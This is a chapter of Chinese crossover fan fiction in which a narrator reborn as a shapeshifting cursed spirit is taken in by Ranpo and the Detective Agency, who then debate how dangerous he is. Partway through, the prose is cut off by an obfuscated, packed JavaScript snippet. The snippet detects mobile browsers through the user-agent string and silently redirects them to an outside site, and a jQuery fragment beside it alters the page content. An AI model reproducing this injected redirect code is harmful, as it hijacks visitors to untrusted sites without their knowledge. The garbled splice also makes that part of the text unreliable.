1.
我真的哭了。
我顺着地下通道一路狂奔,虽然我知道大概率没人愿意从一个下水道里追上我,我还是不安心地跑了十多分钟,最后歇在了一个废弃通道口,外面是大片田野。
我边哭边跑,眼泪一路飘洒,最后坐在通道口对着外面荒地狂哭。
为什么世界要这样对我!
虽然我在原世界总抱怨好想死,但并不代表我真的想死啊。和双黑结梁子以后我要怎么样才能活下去啊。
我回忆起自己宿舍的那堆游戏机,新买的卡碟,越发崩溃。
我坐在管道口哭泣,这个巴掌大的管道让我这个拇指大的小人坐在这里刚好合适。手上的东西依旧没擦,我哭到脸上一片黏糊,还擦不了,又陷入更深的绝望。
2.
手上的东西已经被我用管道口刮掉了,现在我坐在管道口,双腿在半空中晃荡。
我看了看裤子才发现裤子上的脏东西已经掉了,难道是因为我变形的时候会换裤子?
这也太扯了。
微风习习,轻飘飘地拂过我的脸,我感受到了久违的轻松,想逃避现实。
就这样坐在这里也挺好。
我忽略了饿瘪的肚子,暂时放空大脑,靠着管道准备小憩一下。
我听到了一个熟悉的声音,就响在我的身旁。
“这是什么?”
3.
好了,我现在被装在袋子里,而且还被投喂了粗点心,好幸福。
虽然被粗暴地拎着晃,但这并不耽误我感到幸福。
这件事说来话长,长话短说。
我被江户川乱步发现了,然后经过一番如下对话:
“我……”
“哦,我明白了。太宰治……,你……,港口Mafia……,不过……。”
“是的。”
“你是一个没有过去的人。”
毕竟我才到这个世界没多久哪来的过去啊喂!
我顺着他的话点点头,故作镇定,其实我根本没听懂他说了些什么,只能听懂关键字。
乱步很自信自己的异能力,看不到我在这之前的任何线索,就直接断定了我没有过去。
我也不知道他到底有没有推理出来我是个日语废,我就这样安静如鸡地待着。
我不敢在他面前摆弄自己的小聪明,这个全剧最强大脑我在看动漫的时候都看不透,现在怎么可能糊弄过他啊。
我恨不得一五一十的和他解释,但他似乎并不需要,说了句我明白了,就用粗点心的袋子把我装了起来。
现在我一直在思考他究竟是怎样发现我是穿越的。难道名侦探的脑洞都很大?
4.
原来他逛到这里是因为迷路了啊。
我在袋子里听着他和一个陌生男人聊天,我推测那个男人应该是福泽谕吉,除了他俩这个时间段的侦探社其他人我也想不到了。
该说不说,就这样蹲在袋子里真的好有安全感,我不想变回去了。
如果乱步能温柔地拿着袋子就更好了。
对了,为什么江户川乱步也隔着袋子碰到我但没有被我的术式转变,难道之前是我才穿越自带的debuff?
现在我连日语都好像能听懂了,从十个字听懂三个字变成十个字听懂五个字。
了不起的进步。
哈哈。
我究竟在自娱自乐什么啊。他俩好像聊到我了,我该怎么办。
5.
我被倒出来了,在侦探社桌子上。
真的是很暴力的手法,我被像颗球一样滚了出来。
……
像颗球?
我什么时候把自己变成颗球的,而且为什么居然到我在桌子上乱滚的时候我才发现啊!
这过程居然没有任何不适。
所以其实在路上我感觉这么颠簸也是因为我像颗球一样在乱滚吗。
真了不起。
我居然把真人的技能使用的如此滚瓜烂熟,在一天不到的时间里。
6.
“……嗨?”
我长出四肢和周围的人打招呼。
没想到这个时间线侦探社居然已经有这么多人了,除了元老二人,与谢野晶子和国木田独步已经在社里了,这样下去下一个加入的应该是,太宰治?
我去,时间跨度要不要这么大,这个时间点太宰治才十五岁,还要等三年侦探社才会再加新人。
我不知道为什么居然就这样沉浸在自己的胡思乱想里,周围人都用一种难以言喻的表情看着我。
我顺着他们的目光也想低头看看自己,然后发现……居然低不下去?
不是,我想要长出四肢就还真只长了四肢。无为转变你要不要这么实诚。
一个球顶着两个胳膊两条腿的样子真的很诡异好吗!
我奋力变回原样,当然,大小还是一个拇指大小。我不想变大,和这么多人面对面我社恐。
最后我又郑重地打了个招呼,“嗨。”
7.
刚才他们每个人的表情都好诡异,特别是国木田,欲言又止的眼神真的很让我不知所措。
还好他们现在去开小会了,我瞥了几眼那个会议室,然后在桌子上像个小孩一样蹦蹦跳跳,很无聊啊。
我抬脚蹦下桌子,在半空中恢复原型,这身高差刚好让我安静平稳地站在地上。看来我控制的刚刚好嘛,还是挺有天赋当真人的。
算了,还是别有天赋了。
我回忆起真人在原著里的所作所为,一阵恶寒。
我顺着这几张并列的桌子在侦探社绕圈,这里能活动的空间真的不大,我拿了几分桌子上的资料看了一眼就没兴趣了,顺手随便放到其他桌子上。
原著楼下好像还有个咖啡店?我去看看吧。
正当我抬脚开门准备往楼下走,我突然想起来自己现在是三无人员,简单来说就是没有钱,喝不了咖啡了。不对,这不是问题的重点吧,重点是我无为转变控制得还不成功啊喂!
我收回自己悬在半空中的脚,捏着门把的手又把门关上了。
我随意找了个椅子坐下,双腿岔开,把头放在椅子的靠背上,双手抱着靠背,用脚拍着地面等待他们开完会出来。
虽然我在原著的身份是咒灵,但是在这个世界好像完全没有看到过咒灵呢。
这个世界绝对没有《咒术回战》的场合了,哪有特级咒灵看不到咒灵的。
也可能是因为我和这个世界融合的不够好?我现在连无为转变都控制不了,可能得等适应了才能看见?
这都不好说。
我现在好像都想不起来自己原来的名字了,刚开始来的时候还记得……
我真的在刚开始来的时候记得吗?
至少还记得自己是cos穿吧,还有原世界的游戏机也还记得,应该没问题。反正我在原世界也是三无人员,回不去也无所谓吧。
我想不起来自己有没有亲人朋友了,一点印象都没有。
我无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408755|168786||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聊到自己和自己玩,开始半跪在椅子上,单手抱着椅子背,上半身垂下去晃荡,看着自己飘动着的头发,一下往左晃,一下往右晃。
——第三人称——
会议室里的长方桌旁坐着侦探社的几个人,他们靠着桌子聚拢在一起,一齐望着主座旁边的电视。
电视在转播侦探社的监控画面。
“他真的很危险?”国木田独步扶了扶眼镜,他并不是怀疑乱步的推理,而是对这个浅蓝发男人的行为与对他的危险评级不符而感到迟疑。
连小学生都不会这样蹦蹦跳跳的走路吧?该说是对自己有信心么?还是太过了解这里,在初次见面之人的地盘这么放松真的正常吗。
一开始把自己搞成一颗长着四肢的肉球也是不好笑到好笑的地步了。
国木田回忆了一下刚才的肉球,并不是完全圆润的形状,反而肉块凸出。四肢不像长出来的,是钻出来的,比破土而出的春笋还要用力,刺破血肉,冲出皮肉的屏障。
他现在甚至怀疑,如果刚才那人没有变回人形,被插到肉球上的四肢是不是会就那样……掉下去?
他旁边的与谢野晶子咳了一声,打断了国木田的思绪,他循着她的目光望去,乱步眯起的眼睛微微睁开。
乱步坐在主座旁边,盘着腿,鼓鼓囊囊的脸颊塞着一大块粗点心,他吞了口波子汽水,噎了一下,“他现在冷静下来了吧。刚刚见面看到的那种样子真的很恐怖呢!”他含糊不清地说。
“哇,他抬眼看我是时候我都以为他会立刻把我弄死。他脸上都还糊着眼泪,眼睛却没哭。肢体动作明明是兴奋的表现!”
“这是瞒不过我的,浑身的违和感是绝对瞒不过我的。”
“他最开始的气息真的很……”乱步迟疑了一下,“令人作呕?我简直都要被他恶心到了。”他把怀里的薯片放到桌上,最后又咽了一口汽水,站起身,凑近屏幕,指着在监控里百无聊赖的蓝头发。
“很绝望,那种气息溢满了绝望和厌恶!明明只有那么小,一个人坐在水管道里面哭,哭的声音却很高兴。人在悲伤和幸福时候的哭泣声是不一样的,他哭的时候就像在恐惧里幸福到了极点!”
“他绝对会把任何一个惹到他的人弄死的,这也许是他的异能力?不对。他已经杀死过人。但这绝不只是异能力的手臂,是咒术师那边的力量。”还有气息,这句话他没说出来。
“很复杂。他是一个没有过去的人。”
乱步下结论说。虽然他说的词用的是也许,但语气很肯定。
福泽谕吉沉着脸一言不发。他比侦探社的所有人都要早看到那人,或者说是咒灵。
东京的咒术师与横滨的异能力者是两套不同的力量体系,但那人身上却涵盖了两种气息,在转变时迸发的,乱步感受不到,所以他不确定。
但异能力者绝不会有如此纯粹的恶念,这种想要将人置之死地的恶意,只会出现在极度绝望而渴望报复的人身上。
“人之将死,其言也善。”是这句话么?福泽谕吉记不清,他曾经看到过,并一度认同其合理性。
不过现在,他清楚,有这种恶念的人,即便是死,也会拖下所有人。
会议室里的气氛逐渐沉重,透过窗户照进来的日光驱不散这里弥漫着的寂静。
乱步转身,又吃了一片薯片,说:“嘛,不用担心,这少目前他还是很守规矩的。”不知何时,碧绿色的眸子在眼镜下早已朦胧不清,他抬头,光线正好抚过他的脸庞,“交给我就好了。”